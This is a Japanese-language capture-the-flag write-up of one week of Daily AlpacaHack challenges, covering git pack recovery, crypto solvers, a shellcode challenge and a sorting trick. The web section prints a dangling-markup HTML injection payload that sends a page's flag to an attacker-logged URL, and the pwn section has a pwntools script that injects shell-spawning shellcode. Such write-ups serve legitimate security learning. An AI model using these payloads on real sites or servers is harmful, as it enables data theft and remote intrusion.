Daily AlpacaHack Week9 (2026-1-26 ~ 2026-2-1)
Daily AlpacaHack の Writeup.
(2026/1/26 - 2026/2/1)
後から解いたものなど含むまとめ.
git gc (Misc, 2026/1/26)
- git 問題
git gcで不要ファイルなどのクリーンを行った後の状態でフラグを復元する問題- リポジトリの
.gitを調べると/objects/pack/内にファイルが存在 git verify-pack -vで中身を確認するとコミットログなどが残っていた
75a6ad9f0abe942df11f90b58f175d553c23c101 commit 243 152 12 c0bf20c191a250522fc742093ff920243346f578 commit 69 81 164 1 75a6ad9f0abe942df11f90b58f175d553c23c101 4b825dc642cb6eb9a060e54bf8d69288fbee4904 tree 0 9 245 1b44243c75077537d74f00aacbc930f2c7283b93 tree 36 47 254 4c820f244ddd11f3286edfb63ac9d1537a3f2cb3 blob 36 46 301 non delta: 4 objects chain length = 1: 1 object ./.git/objects/pack/pack-ebbdb822825c78b455c249b53ada135b408e75a1.pack: ok
commitとなっている部分のハッシュをgit showで確認するとフラグが入っていた
ToyPQC (Crypto, 2026/1/27)
- 素数 $p$ についての有限体 (四則演算が定義された集合のようなもの) 上でランダム初期化された行列 $A$ と, フラグが三文字ずつエンコードされたフラグベクトル $s$, そして $0, 1$ の要素でランダム初期化されたベクトル $e$ が存在
- $A$ および以下の式で暗号化されたベクトル $b$ が渡される
$$As + e = b$$
- ここでフラグベクトル $s$ はサイズが 7 であり, $e$ のサイズは 10 となる
- $e$ は $2^10$ 通りの選択肢から選ばれるため, 総当たりで $As = b - e$ の方程式を計算することができる
sageを用いて以下で総当たり計算を行った
from itertools import product n = 7 m = 10 p = 8380417 F = GF(p) A = matrix(F, [[978223, 4103264, 2434930, 67809, 6689879, 8055109, 7358908], [704310, 752283, 1297100, 5467548, 2062034, 1748259, 393695], [2137404, 1207017, 4202172, 7586405, 8338363, 66015, 2477572], [2415274, 3971353, 4875079, 5152330, 5802762, 6727030, 3467171], [120474, 8076081, 4913437, 7056765, 4114904, 165323, 7714928], [57003, 259088, 6290590, 6813182, 7431019, 54935, 6547376], [5714777, 1965973, 3869597, 6806257, 3429400, 7138992, 2684187], [902807, 5735163, 4236221, 7359799, 7035051, 5481646, 3562173], [681907, 1263527, 4069317, 233811, 608502, 2907035, 625938], [2993255, 2217495, 6923674, 1947351, 3575140, 3447543, 5071692]]) b = vector(F, [4564535, 3088331, 4021737, 2387590, 7844407, 3965605, 7334578, 356862, 1345100, 2445644]) solutions = [] for bits in product([0,1], repeat=m): e_vec = vector(F, bits) y = b - e_vec try: s_candidate = A.solve_right(y) solutions.append((e_vec, s_candidate)) except ValueError: pass for e_sol, s_sol in solutions: print("flag candidate:", s_sol)
- 出てきたフラグの断片をつなぎなおしてデコードしたらフラグ獲得
No JS (Web, 2026/1/28)
- CSP で JavaScript の実行が阻止された状態でコンテンツに含まれるフラグを攻撃者のサイトに送る必要がある
- ユーザー名とフラグはテンプレートの以下の部分に挿入される
<p>Hello [[username]]!</p> <p>Your flag is here: [[flag]]</p>
- いろいろと試したが CSP の
script-src 'none'をバイパスするような方法は難しそう (onerrorなどを用いても JavaScript は実行できない, CSS を用いた方法についても調べたが 1 度のアクセスでできるようなものではなさそう) - テンプレートでは入力のサニタイズがされていないため HTML タグを埋め込むことが可能
<img src=は使うことができるため, これで他のサイトに飛ばすことはできた- フラグは
usernameの後にあるため, 以下のペイロードが使えた (targetsite.comをwebhook.siteなどのログが閲覧できる URL に置き換える)
http://web:3000/?username=<img src="https%3A//targetsite.com%3Fc%3D
shellcode-101 (Pwn, 2026/1/29)
- 与えた入力を
fgetsで受け取り, 内容を関数として実行してくれる shを起動するシェルコードを注入することでシェルを開ける
from pwn import * context.binary = "./chal" _, host, port = "nc 34.170.146.252 29682".split() sh = remote(host, port) prompt = sh.recvuntil("Alpaca> ".encode()) print(prompt.decode()) sc = asm(shellcraft.sh()) sh.sendline(sc) sh.interactive()
Linear Coffee Generator (Crypto, 2026/1/30)
- 素数 $p$, $p$ より小さい整数 $a, b$, 初期の値 $s_{0}$ を用いた線形な計算で疑似乱数を出力するコード
- 4 回分の出力から $a, b, s_0, p$ を調べることができればフラグ獲得
- $n+1$ 回目の出力 $s_n$ は以下の式で算出される
$$s_{n+1} \equiv a s_n + b \mod p$$
- 4 回の出力について以下が成立する
$$(s_{n+2} - s_{n+1}) \equiv a(s_{n+1} - s_n) \mod p$$
$$(s_{4} - s_{3})(s_{2} - s_1) = (s_{3} - s_{2})^2 + kp$$
- 以上より $kp$ が既知の情報から算出できるため, 素因数分解して大きい素因数が $p$ であると考えられる
- 次に $a, b, s_0$ は以下で算出される
$$a \equiv (s_{3} - s_{2})(s_{2} - s_1)^{-1} \mod p$$
$$b \equiv (s_{2} - a s_1) \mod p$$
$$s_0 \equiv (s_1 - b) a^{-1} \mod p$$
- 上記プロセスで $a, b, s_0, p$ が算出される
import os import hashlib from Crypto.Util.number import * from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from sympy.ntheory import factorint # You don't need to focus on encrypt_flag/decrypt_flag :) def encrypt_flag(pt, params): key = hashlib.sha256(str(params).encode()).digest() cipher = AES.new(key, AES.MODE_CBC) return cipher.iv + cipher.encrypt(pad(pt, 16)) def decrypt_flag(ct, params): key = hashlib.sha256(str(params).encode()).digest() cipher = AES.new(key, AES.MODE_CBC, iv=ct[:16]) return unpad(cipher.decrypt(ct[16:]), 16) with open("./output.txt", "r") as f: lines = f.readlines() cof1, cof2, cof3, cof4, = [int(x.split()[-1].strip()) for x in lines[:-1]] enc_flag = lines[-1].split()[-1].strip() coffee = [cof1, cof2, cof3, cof4] pk = abs((cof4 - cof3)*(cof2 - cof1) - (cof3 - cof2)**2) print(pk) fact_p = factorint(pk) p = max(fact_p.keys()) a = ((cof3 - cof2) * inverse((cof2 - cof1), p)) % p b = (cof2 - cof1 * a) % p s = (cof1 - b) * inverse(a, p) % p flag = decrypt_flag(bytes.fromhex(enc_flag), (p, a, b, s)) print(flag)
optimal-sort (Misc, 2026/1/31)
- 長さ $n$ のリストについて, $n+5$ 回の入れ替えでリストを昇順にソートする問題
- 乱数生成されるリストの中身を直接見ることはできないため, 普通にソートするのは不可能 (のはず)
- 入れ替えに用いられる関数は以下で定義されている
def swap(xs: list[int], i: int, j: int): if i == j: return xs[i] ^= xs[j] xs[j] ^= xs[i] xs[i] ^= xs[j]
- 同じインデックスを指定することは
if文で禁止されている - 上の実装ではもしも
i == jの場合xs[i]が 0 となる - Python のリストは負のインデックスを指定することで逆から見たインデックスとして指定することが可能であるため,
j=-n+iとすることでxs[i]を 0 とすることができる - 上の手法ですべての要素を 0 にすることで昇順になったと判定され
O(n)でソート? が可能となる
from pwn import * def zero_sort(sh, list_len): itr = 0 while True: print(f"sort: {list_len}, itr: {itr}") prompt = sh.recvuntil("i>".encode()) print(prompt.decode()) sh.sendline(str(itr).encode()) prompt = sh.recvuntil("j>".encode()) print(prompt.decode()) sh.sendline(str(-list_len + itr).encode()) prompt = sh.recvuntil("is_sorted =".encode()) print(prompt.decode()) sort_bool = sh.recvline().decode().strip() if "True" in sort_bool: break itr += 1 _, host, port = "nc 34.170.146.252 26784".split() sh = remote(host, port) prompt = sh.recvuntil("size".encode()) print(prompt.decode()) zero_sort(sh, 10) zero_sort(sh, 100) zero_sort(sh, 1000) zero_sort(sh, 2000) sh.interactive()
Camelidae (Misc, 2026/2/1)
- 問題文にあるフラグを直接入力するとクリア